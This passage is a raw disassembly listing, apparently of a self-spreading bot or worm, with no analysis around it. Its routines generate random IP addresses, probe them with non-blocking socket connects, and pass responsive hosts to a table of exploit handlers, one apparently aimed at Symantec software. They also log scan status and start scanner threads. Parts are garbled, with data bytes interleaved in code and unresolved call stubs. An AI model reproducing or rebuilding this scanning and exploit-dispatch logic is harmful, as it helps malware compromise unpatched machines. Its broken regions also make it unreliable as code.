		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_401ACD+2ACAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE3A4
		push	offset unk_431F04
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 28h
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DB	proc near		; CODE XREF: sub_401ACD+2AB4p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F50
		push	eax
		call	sub_41B886
		cmp	dword_431B00, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B847
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B810:				; CODE XREF: sub_40B7DB+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B810
		pop	esi


loc_40B847:				; CODE XREF: sub_40B7DB+2Dj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DB	endp

; ---------------------------------------------------------------------------
word_40B8A2	dw 8B55h		; DATA XREF: sub_401ACD+30E1o
		dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h,	0BD8D59F0h
		dd 0FFFFFECCh, 80C7A5F3h, 128h,	1, 0FECC858Dh, 0FF50FFFFh
		dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h
		dd 840F087Dh, 118h, 431B00BBh
		db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: ___:0040B9FEj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C088
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431FA0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98F
		lea	eax, [ebp-124h]


loc_40B98F:				; CODE XREF: ___:0040B987j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F4:				; CODE XREF: ___:0040B906j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F6C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		dw 0A9E8h
; ---------------------------------------------------------------------------
		inc	ebp
		sub	al, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA57	proc near		; CODE XREF: sub_401ACD+244Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_40BA93
		mov	eax, [ebp+arg_C]
		push	dword_4CB7A0[eax*8]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FF0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA6
; ---------------------------------------------------------------------------


loc_40BA93:				; CODE XREF: sub_40BA57+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431FD0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA6:				; CODE XREF: sub_40BA57+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		leave
		retn
sub_40BA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACE	proc near		; CODE XREF: sub_40C125+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BFA0
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431B0C[eax], ebx
		jz	loc_40BFA0
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BD55
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD85C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA6C, eax
		mov	dword_4CDA68, ebx
		nop
		call	near ptr 2660000h
		mov	edi, offset byte_42910C
		push	103h
		push	edi
		push	offset dword_4CD960
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD858, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAF0, eax
		jnz	short loc_40BB81
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, 1
		jmp	short loc_40BB9B
; ---------------------------------------------------------------------------


loc_40BB81:				; CODE XREF: sub_40BACE+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, ebx


loc_40BB9B:				; CODE XREF: sub_40BACE+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA6C
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDA64, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD858
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CDA64
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BC09


loc_40BBF7:				; CODE XREF: sub_40BACE+139j
		cmp	dword_4CDAF8, ebx
		jnz	short loc_40BC24
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_40BBF7
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BACE+127j
		call	near ptr 26709D6h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432110
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC24:				; CODE XREF: sub_40BACE+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		mov	eax, dword_4CB390
		mov	esi, offset dword_4CDB04
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDD14, eax
		mov	dword_4CDD10, ebx
		nop
		call	near ptr 2660000h
		push	103h
		push	edi
		push	offset dword_4CDC08
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB00, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD98, eax
		push	7Fh
		jnz	short loc_40BCA5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, 1
		jmp	short loc_40BCBF
; ---------------------------------------------------------------------------


loc_40BCA5:				; CODE XREF: sub_40BACE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, ebx


loc_40BCBF:				; CODE XREF: sub_40BACE+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDD14
		push	offset unk_4320DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDD0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB00
		push	offset word_40E992
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, dword_4CDD0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BD2D


loc_40BD1B:				; CODE XREF: sub_40BACE+25Dj
		cmp	dword_4CDDA0, ebx
		jnz	short loc_40BD48
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_40BD1B
; ---------------------------------------------------------------------------


loc_40BD2D:				; CODE XREF: sub_40BACE+24Bj
		nop
		call	near ptr 26709D6h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD48:				; CODE XREF: sub_40BACE+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BD55:				; CODE XREF: sub_40BACE+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431B14[ecx], ebx
		jz	loc_40BE7E
		push	7
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BE78
		mov	eax, dword_4CE39C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7C4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD7B8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7C0, ebx
		mov	dword_4CD848, eax
		push	7Fh
		jnz	short loc_40BDC9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, 1
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BDC9:				; CODE XREF: sub_40BACE+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, ebx


loc_40BDE3:				; CODE XREF: sub_40BACE+2F9j
		push	dword_4CD7C4
		lea	eax, [ebp+var_204]
		push	offset unk_432078
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	dword_4CD7BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD7B8
		push	offset dword_40E6F0
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CD7BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BE50


loc_40BE3E:				; CODE XREF: sub_40BACE+380j
		cmp	dword_4CD850, ebx
		jnz	short loc_40BE6B
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_40BE3E
; ---------------------------------------------------------------------------


loc_40BE50:				; CODE XREF: sub_40BACE+36Ej
		call	near ptr 26709D6h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432040
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6B:				; CODE XREF: sub_40BACE+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BE78:				; CODE XREF: sub_40BACE+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7E:				; CODE XREF: sub_40BACE+298j
		shl	eax, 6
		cmp	dword_431B10[eax], ebx
		jz	loc_40BFA0
		push	3
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BFA0
		mov	esi, offset dword_4CE034
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBF
		mov	[eax], bl


loc_40BEBF:				; CODE XREF: sub_40BACE+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE14C, ebx
		mov	dword_4CE138, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDAC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDDA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE138
		mov	dword_4CE144, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE148, ecx
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	dword_4CE140, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDDA8
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CE140
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BF78


loc_40BF66:				; CODE XREF: sub_40BACE+4A8j
		cmp	dword_4CE154, ebx
		jnz	short loc_40BF93
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_40BF66
; ---------------------------------------------------------------------------


loc_40BF78:				; CODE XREF: sub_40BACE+496j
		nop
		call	near ptr 26709D6h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43200C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF93:				; CODE XREF: sub_40BACE+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BFA0:				; CODE XREF: sub_40BACE+14j
					; sub_40BACE+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA4	proc near		; CODE XREF: sub_40C125:loc_40C196p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB7A0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB57C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB650
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEC	proc near		; CODE XREF: sub_40C125+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C014
		xor	eax, eax
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C014:				; CODE XREF: sub_40BFEC+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C041
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C041:				; CODE XREF: sub_40BFEC+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04E
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04E:				; CODE XREF: sub_40BFEC+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05B
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05B:				; CODE XREF: sub_40BFEC+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C067
		call	sub_41B8E2


loc_40C067:				; CODE XREF: sub_40BFEC+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB7A0[ecx*8], eax


loc_40C085:				; CODE XREF: sub_40BFEC+26j
		pop	esi
		leave
		retn
sub_40BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C088	proc near		; CODE XREF: ___:0040B8FBp
					; sub_40C125+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B1
		xor	eax, eax
		jmp	short loc_40C120
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40C088+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB654
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB63C
		push	esi
		mov	edi, eax
		call	dword_4CB6EC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C120:				; CODE XREF: sub_40C088+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C125	proc near		; DATA XREF: sub_40C125+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 268083Ah
		nop
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16C:				; CODE XREF: sub_40C125+204j
		mov	eax, dword_43E594[ebx]
		cmp	dword_4CB7A4[eax*8], 0
		jz	loc_40C32E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C196
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEC
		pop	ecx
		jmp	short loc_40C19B
; ---------------------------------------------------------------------------


loc_40C196:				; CODE XREF: sub_40C125+60j
		call	sub_40BFA4


loc_40C19B:				; CODE XREF: sub_40C125+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E594[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43216C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E390[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C088
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C272
		push	offset dword_4CD7A0
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432144
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C254
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C248
		lea	eax, [ebp+var_140]


loc_40C248:				; CODE XREF: sub_40C125+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A73
		add	esp, 14h


loc_40C254:				; CODE XREF: sub_40C125+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AD
		mov	[esp+29Ch+var_29C], offset dword_4CD7A0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31E
; ---------------------------------------------------------------------------


loc_40C272:				; CODE XREF: sub_40C125+D0j
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B7
		lea	eax, [ebp+var_140]


loc_40C2B7:				; CODE XREF: sub_40C125+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431B04[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31E:				; CODE XREF: sub_40C125+C6j
					; sub_40C125+148j
		push	7D0h
		call	near ptr 2660E9Fh
		nop
		jmp	loc_40C16C
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40C125+55j
		push	esi
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h


loc_40C33D:				; DATA XREF: sub_401ACD+1F82o
					; sub_401ACD+5C49o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB694
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB7A0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACE
		push	0Bh
		call	sub_40B33F
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40B
		mov	esi, offset dword_4CD7A0
		push	esi
		nop
		call	near ptr 26D06B1h
		push	80000400h
		push	esi
		nop
		call	near ptr 26D050Ah
		test	eax, eax
		jnz	short loc_40C40B
		lea	eax, [ebp+var_1CC]
		push	offset unk_432250
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C3F5:				; CODE XREF: sub_40C125+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_40C125+27Bj
					; sub_40C125+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB7A4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D8


loc_40C429:				; CODE XREF: sub_40C125+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43221C
		push	eax
